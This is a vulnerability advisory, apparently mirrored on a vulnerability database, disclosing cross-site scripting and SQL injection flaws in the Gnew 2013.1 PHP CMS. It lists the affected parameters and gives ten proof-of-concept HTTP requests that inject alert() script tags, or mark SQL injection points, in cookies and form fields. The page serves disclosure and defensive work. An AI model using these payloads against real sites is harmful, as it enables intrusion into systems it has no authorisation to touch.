Lucene search
K

Gnew v2013.1 Multiple XSS And SQL Injection Vulnerabilities

🗓️ 11 Aug 2013 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 24 Views

Gnew v2013.1 multiple XSS and SQL injection vulnerabilities. Input via parameters not properly sanitized, leading to SQL and HTML/script injection

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Gnew 2013.1 - Multiple Vulnerabilities
2 Oct 201300:00
zdt
ATTACKERKB
CVE-2013-5640
1 Apr 201403:24
attackerkb
CVE
CVE-2013-5640
1 Apr 201400:00
cve
Cvelist
CVE-2013-5640
1 Apr 201400:00
cvelist
Exploit DB
Gnew 2013.1 - Multiple Vulnerabilities (2)
2 Oct 201300:00
exploitdb
EUVD
EUVD-2013-5480
7 Oct 202500:30
euvd
exploitpack
Gnew 2013.1 - Multiple Vulnerabilities (2)
2 Oct 201300:00
exploitpack
htbridge
Multiple Vulnerabilities in Gnew
28 Aug 201300:00
htbridge
NVD
CVE-2013-5640
1 Apr 201403:24
nvd
Packet Storm
Gnew 2013.1 PHP File Inclusion / SQL Injection
2 Oct 201300:00
packetstorm
Rows per page
<html><body><p>Gnew v2013.1 Multiple XSS And SQL Injection Vulnerabilities


Vendor: Raoul Proença
Product web page: http://www.gnew.fr
Affected version: 2013.1

Summary: Gnew is a simple Content Management
System written with PHP language and using a
database server (MySQL, PostgreSQL or SQLite)
for storage.

Desc: Input passed via several parameters is not properly
sanitised before being returned to the user or used in SQL
queries. This can be exploited to manipulate SQL queries
by injecting arbitrary SQL code and HTML/script code in a
user's browser session in context of an affected site.


============================================================================================
|     PARAM      |     TYPE    |                          FILE                             |
============================================================================================
|                                                                                          |
| gnew_template  |     XSS     | /users/profile.php, /articles/index.php, /admin/polls.php |
|------------------------------------------------------------------------------------------|
| category_id    |     XSS     | /news/submit.php                                          |
|------------------------------------------------------------------------------------------|
| news_id        |  XSS, SQLi  | /news/send.php, /comments/add.php                         |
|------------------------------------------------------------------------------------------|
| post_subject   |     XSS     | /posts/edit.php                                           |
|------------------------------------------------------------------------------------------|
| thread_id      |  XSS, SQLi  | /posts/edit.php                                           |
|------------------------------------------------------------------------------------------|
| user_email     |     SQLi    | /users/register.php, /users/password.php                  |
|                                                                                          |
============================================================================================



Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience



Advisory ID: ZSL-2013-5153
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5153.php



23.07.2013

---


#1 [xss]

GET /gnew/users/profile.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/gnew/admin/index.php
Cookie: PHPSESSID=8nta354i78d5att3l2gkh9g573; gnew_date_format=D%2C+M+jS+Y%2C+g%3Ai+a; gnew_date_offset=0; gnew_language=english; gnew_template=clean"&gt;<script>alert(1)</script>
Connection: keep-alive


#2 [xss]

POST /gnew/news/submit.php HTTP/1.1
Content-Length: 112
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

category_id=1"&gt;<script>alert(2);</script>&amp;news_source=1&amp;news_subject=1&amp;news_text=1&amp;preview=Preview&amp;submit=Submit


#3 [xss]

POST /gnew/news/send.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

[email protected]&amp;html_email=1&amp;news_id=572"&gt;<script>alert(3);</script>&amp;send=Send&amp;[email protected]&amp;user_name=admin


#4 [xss]

POST /gnew/comments/add.php HTTP/1.1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

add=Add&amp;comment_subject=1&amp;comment_text=1&amp;news_id=574"&gt;<script>alert(4);</script>&amp;preview=Preview


#5 [sqli]

POST /gnew/news/send.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

[email protected]&amp;html_email=1&amp;news_id=572{SQL Injection}&amp;send=Send&amp;[email protected]&amp;user_name=admin


#6 [xss]

POST /gnew/posts/edit.php HTTP/1.1
Content-Length: 153
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

category_id=1&amp;edit=Edit&amp;post_creation=1374594465&amp;post_id=6&amp;post_subject=zsl"&gt;<script>alert(5);</script>&amp;post_text=test&amp;preview_edited=Preview&amp;thread_id=6


#7 [xss]

POST /gnew/posts/edit.php HTTP/1.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

category_id=1&amp;edit=Edit&amp;post_creation=1374594465&amp;post_id=6&amp;post_subject=test&amp;post_text=test&amp;preview_edited=Preview&amp;thread_id=6"&gt;<script>alert(6);</script>


#8 [sqli]

POST /gnew/posts/edit.php HTTP/1.1
Host: localhost
Content-Length: 127
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

category_id=1&amp;edit=Edit&amp;post_creation=1374594465&amp;post_id=6&amp;post_subject=test&amp;post_text=test&amp;preview_edited=Preview&amp;thread_id=6{SQL Injection}


#9 [sqli]

POST /gnew/users/password.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/gnew/users/password.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

user_name=test&amp;user_email={SQL Injection}&amp;password=Send


#10 [sqli]

POST /gnew/users/register.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/gnew/users/password.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

user_name=test&amp;user_email={SQL Injection}&amp;password=Send
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation